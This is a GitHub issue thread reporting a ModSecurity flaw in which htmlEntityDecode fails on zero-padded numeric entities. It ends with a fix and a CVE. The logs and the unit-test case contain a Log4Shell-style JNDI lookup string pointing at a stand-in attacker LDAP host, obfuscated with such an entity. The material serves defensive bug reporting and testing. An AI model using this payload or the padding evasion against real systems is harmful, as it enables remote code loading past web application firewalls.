HTML entity decoding fails to decode some exotic values

[theseion]

Describe the bug

The following string should be decoded into {: &#00000000000000000000000000000000000000000000000123; but is instead decoded into \x0000000000000000000000000000000000000000000000123;.

Logs and dumps

Output of debug log:

[173942934834.266950] [/get] [9] Target value: "localhost" (Variable: REQUEST_HEADERS:Host)
[173942934834.266950] [/get] [9]  T (0) t:urlDecodeUni: "$&#00000000000000000000000000000000000000000000000123;jndi:ldap://evil.om/w (1 characters omitted)"
[173942934834.266950] [/get] [9]  T (0) t:jsDecode: "$&#00000000000000000000000000000000000000000000000123;jndi:ldap://evil.om/w (1 characters omitted)"
[173942934834.266950] [/get] [9]  T (0) t:htmlEntityDecode: "$^@00000000000000000000000000000000000000000000123;jndi:ldap://evil.om/w}"
[173942934834.266950] [/get] [9] Target value: "$\x0000000000000000000000000000000000000000000000123;jndi:ldap://evil.om/w}" (Variable: REQUEST_HEADERS:User-Agent)

Notice: Be careful to not leak any confidential information.

To Reproduce

Run CRS test 944150-23 with owasp/modsecurity:4.11.0-nginx-202502070602.

Expected behavior

The following string should be decoded into {: &#00000000000000000000000000000000000000000000000123;.

Server (please complete the following information):

• ModSecurity version (and connector): ModSecurity v3.0.12 with nginx-connector v1.0.3
• WebServer: nginx 1.27.3
• OS (and distro): macOS

Rule Set (please complete the following information):

• CRS v4.11.0

Additional context

The changes in v3.0.12 appear to have broken entity decoding. The test works with v3.0.11.

[airween]

Hi @theseion,

thanks for reporting this.

I checked this behavior and can confirm that t:htmlEntityDecode produces the output as you wrote. I added an extra case into htmlEntityDecode.json and it produced the same output:

$ ./unit_tests test-cases/secrules-language-tests/transformations/htmlEntityDecode.json
ModSecurity 3.0.13 - tests
(options are not available -- missing GetOpt)

  test-cases/secrules-language-tests/transformations/htmlEntityDecode.json:htmlEntityDecode...	0 tests failed.
  test-cases/secrules-language-tests/transformations/htmlEntityDecode.json:htmlEntityDecode...	0 tests failed.
  test-cases/secrules-language-tests/transformations/htmlEntityDecode.json:htmlEntityDecode...	0 tests failed.
  test-cases/secrules-language-tests/transformations/htmlEntityDecode.json:htmlEntityDecode...	0 tests failed.
  test-cases/secrules-language-tests/transformations/htmlEntityDecode.json:htmlEntityDecode...	0 tests failed.
  test-cases/secrules-language-tests/transformations/htmlEntityDecode.json:htmlEntityDecode...	0 tests failed.
  test-cases/secrules-language-tests/transformations/htmlEntityDecode.json:htmlEntityDecode...	0 tests failed.
  test-cases/secrules-language-tests/transformations/htmlEntityDecode.json:htmlEntityDecode...	1 tests failed.
Total >> 8
Test failed. From: test-cases/secrules-language-tests/transformations/htmlEntityDecode.json
{
  "ret": "1"
  "type": "tfn"
  "name": "htmlEntityDecode"
  "input": "$&#00000000000000000000000000000000000000000000000123;jndi:ldap://evil.om/w}"
  "param": ""
  "output": "${jndi:ldap://evil.om/w}"
}
Expecting: "${jndi:ldap://evil.om/w}" - returned: "$\x0000000000000000000000000000000000000000000000123;jndi:ldap://evil.om/w}"


Ran a total of: 8 unit tests - 1 failed.

We have to investigate this cause.

[airween]

Closed as completed via commit a555e5a (and in the new release v3.0.14).
See our blog post and CVE-2025-27110.